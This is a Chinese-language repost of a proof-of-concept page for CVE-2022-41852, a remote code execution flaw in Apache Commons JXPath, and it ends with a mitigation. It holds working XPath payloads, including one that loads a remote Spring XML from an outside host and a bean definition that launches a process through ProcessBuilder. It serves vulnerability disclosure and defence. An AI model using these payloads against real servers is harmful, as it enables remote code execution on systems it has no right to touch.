CVE-2022-41852 POC(非官方)
作者:Sec-Labs | 发布时间:
项目介绍
JXPath库中的远程代码执行(CVE-2022-41852)POC
CVE-2022-41852允许攻击者在应用服务器上执行代码。
你可以在这里阅读更多关于这个漏洞的信息。
https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/
注意:我不是这个CVE的作者。我只是创建了这个POC。
项目地址
https://github.com/Warxim/CVE-2022-41852
漏洞介绍
漏洞名称
Apache Commons JXPath 安全漏洞
漏洞详情
Apache Commons JXPath是美国阿帕奇(Apache)基金会的一种 XPath 1.0 的基于 Java 的实现。
Apache Commons JXPath 存在安全漏洞,该漏洞源于攻击者可以利用除compile()和compilePath()函数之外的所有处理XPath字符串的JXPathContext类函数通过XPath表达式从类路径加载任何Java类,从而执行代码。
修复方案
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47133
相关介绍
JXPath 库支持在 XPath 表达式中运行函数 (见 官方用户指南 )。
例如,方法 JXPathContext.getValue(path)和 JXPathContext.iterate(path)很危险 如果您让用户将输入发送到路径参数。
PoC 描述
这个 PoC 使用两个端点启动简单的 Spring 服务器:
/vulnerable-example?path=[path]/secure-example?path=[path]
这些端点只有一个查询参数“路径”。
可能的请求 URL
以下请求将正常工作(不会导致任何问题):
- http://localhost:8080/secure-example?path=name
- http://localhost:8080/secure-example?path=website
- http://localhost:8080/secure-example?path=/
- http://localhost:8080/vulnerable-example?path=name
- http://localhost:8080/vulnerable-example?path=website
- http://localhost:8080/vulnerable-example?path=/
以下请求将导致代码被执行:
- http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
- http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)
示例有效负载
检测 CVE-2022-41852 的示例有效负载:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)
可能有多种方式来执行命令。 其中之一是使用 Spring 的 ClassPathXmlApplicationContext:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")
在 XML 文件中,您可以定义 bean 配置,例如,您可以创建实例 ProcessBuilder 并通过使用初始化 bean 在服务器上运行指定的命令 start()方法。 在以下示例中,计算器将在 Windows 机器上打开:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
CVE-2022-41852 的解决方法
可以通过将函数字段设置为空来禁用 JXPathContext 中的函数 FunctionLibrary.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
注意: 它会禁用所有功能,所以即使是这样的功能 size()将不可用。